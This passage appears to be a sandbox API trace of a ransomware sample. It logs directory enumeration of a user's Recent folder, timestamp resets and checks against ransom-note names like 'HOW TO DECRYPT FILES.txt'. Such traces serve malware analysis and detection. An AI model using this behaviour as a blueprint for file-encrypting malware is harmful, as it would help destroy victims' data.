ftCreationTime.dwLowDateTime=0x50fa8bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.674] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.674] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50fa8bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50fa8bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25000326, dwReserved1=0x4e00c4, cFileName="Low", cAlternateFileName="")) returned 0 [0088.675] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.675] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f378e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName="Recent", cAlternateFileName="")) returned 1 [0088.675] lstrcmpA (lpString1=".", lpString2="Recent") returned -1 [0088.675] lstrcmpA (lpString1="..", lpString2="Recent") returned -1 [0088.675] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.675] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f378e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.675] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.675] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f378e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0088.675] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.676] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f53680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f53680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="-XKmpPzycl_a6_Wkn.lnk", cAlternateFileName="-XKMPP~1.LNK")) returned 1 [0088.676] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="-XKmpPzycl_a6_Wkn.lnk") returned -1 [0088.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="-XKmpPzycl_a6_Wkn.lnk") returned -1 [0088.676] lstrcmpiA (lpString1="", lpString2="-XKmpPzycl_a6_Wkn.lnk") returned -1 [0088.676] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*") returned="*.*" [0088.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.676] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.679] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.679] CloseHandle (hObject=0x98) returned 1 [0088.679] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03f3980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe60a3220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe60a3220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="02fobcLdPapu6-VARZEZ.lnk", cAlternateFileName="02FOBC~1.LNK")) returned 1 [0088.679] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="02fobcLdPapu6-VARZEZ.lnk") returned 1 [0088.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="02fobcLdPapu6-VARZEZ.lnk") returned 1 [0088.679] lstrcmpiA (lpString1="", lpString2="02fobcLdPapu6-VARZEZ.lnk") returned -1 [0088.679] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKmpPzycl_a6_Wkn.lnk") returned="-XKmpPzycl_a6_Wkn.lnk" [0088.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.680] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.680] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe464dec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe464dec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4674020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1457, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="0qRbO.lnk", cAlternateFileName="")) returned 1 [0088.680] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0qRbO.lnk") returned 1 [0088.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0qRbO.lnk") returned 1 [0088.680] lstrcmpiA (lpString1="", lpString2="0qRbO.lnk") returned -1 [0088.680] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\02fobcLdPapu6-VARZEZ.lnk") returned="02fobcLdPapu6-VARZEZ.lnk" [0088.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.680] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.680] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe477e9c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe477e9c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe477e9c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1002, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="14bI7t6_Pzu4bqTu7ohq.lnk", cAlternateFileName="14BI7T~1.LNK")) returned 1 [0088.681] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="14bI7t6_Pzu4bqTu7ohq.lnk") returned 1 [0088.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="14bI7t6_Pzu4bqTu7ohq.lnk") returned 1 [0088.681] lstrcmpiA (lpString1="", lpString2="14bI7t6_Pzu4bqTu7ohq.lnk") returned -1 [0088.681] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qRbO.lnk") returned="0qRbO.lnk" [0088.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.681] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.681] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47a4b20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe47a4b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe47a4b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="1JXp.lnk", cAlternateFileName="")) returned 1 [0088.681] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1JXp.lnk") returned 1 [0088.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1JXp.lnk") returned 1 [0088.681] lstrcmpiA (lpString1="", lpString2="1JXp.lnk") returned -1 [0088.681] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\14bI7t6_Pzu4bqTu7ohq.lnk") returned="14bI7t6_Pzu4bqTu7ohq.lnk" [0088.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.682] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.682] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f3e9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f3e9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f3e9a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13f4, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="2H7u3V.lnk", cAlternateFileName="")) returned 1 [0088.682] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.682] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2H7u3V.lnk") returned 1 [0088.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2H7u3V.lnk") returned 1 [0088.682] lstrcmpiA (lpString1="", lpString2="2H7u3V.lnk") returned -1 [0088.682] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1JXp.lnk") returned="1JXp.lnk" [0088.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.682] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.682] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5fbe9e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5fbe9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5fbe9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="2PLnC8T0na.lnk", cAlternateFileName="2PLNC8~1.LNK")) returned 1 [0088.683] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2PLnC8T0na.lnk") returned 1 [0088.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2PLnC8T0na.lnk") returned 1 [0088.683] lstrcmpiA (lpString1="", lpString2="2PLnC8T0na.lnk") returned -1 [0088.683] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2H7u3V.lnk") returned="2H7u3V.lnk" [0088.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.683] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.683] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe726a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfe726a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfe726a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf84, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="2_7W-wNc5WzGQ-5oO8U.lnk", cAlternateFileName="2_7W-W~1.LNK")) returned 1 [0088.683] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2_7W-wNc5WzGQ-5oO8U.lnk") returned 1 [0088.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2_7W-wNc5WzGQ-5oO8U.lnk") returned 1 [0088.684] lstrcmpiA (lpString1="", lpString2="2_7W-wNc5WzGQ-5oO8U.lnk") returned -1 [0088.684] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2PLnC8T0na.lnk") returned="2PLnC8T0na.lnk" [0088.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.684] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.684] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e9f360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6e9f360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6e9f360, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="52cHM4nU CezljWyg.lnk", cAlternateFileName="52CHM4~1.LNK")) returned 1 [0088.684] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="52cHM4nU CezljWyg.lnk") returned 1 [0088.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="52cHM4nU CezljWyg.lnk") returned 1 [0088.684] lstrcmpiA (lpString1="", lpString2="52cHM4nU CezljWyg.lnk") returned -1 [0088.684] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2_7W-wNc5WzGQ-5oO8U.lnk") returned="2_7W-wNc5WzGQ-5oO8U.lnk" [0088.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.684] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.685] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c910e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c910e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c910e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13da, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="5AEs.lnk", cAlternateFileName="")) returned 1 [0088.685] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.685] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5AEs.lnk") returned 1 [0088.685] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5AEs.lnk") returned 1 [0088.685] lstrcmpiA (lpString1="", lpString2="5AEs.lnk") returned -1 [0088.685] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\52cHM4nU CezljWyg.lnk") returned="52cHM4nU CezljWyg.lnk" [0088.685] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.685] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.685] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe344d860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe344d860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe350bf40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="5FaFuTI49Q.lnk", cAlternateFileName="5FAFUT~1.LNK")) returned 1 [0088.685] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.685] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5FaFuTI49Q.lnk") returned 1 [0088.685] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5FaFuTI49Q.lnk") returned 1 [0088.685] lstrcmpiA (lpString1="", lpString2="5FaFuTI49Q.lnk") returned -1 [0088.686] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5AEs.lnk") returned="5AEs.lnk" [0088.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.686] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.686] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42499a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42499a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42499a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa9a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="67h3KYUj7HpJKh2YdAq.lnk", cAlternateFileName="67H3KY~1.LNK")) returned 1 [0088.686] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="67h3KYUj7HpJKh2YdAq.lnk") returned 1 [0088.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="67h3KYUj7HpJKh2YdAq.lnk") returned 1 [0088.686] lstrcmpiA (lpString1="", lpString2="67h3KYUj7HpJKh2YdAq.lnk") returned -1 [0088.686] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 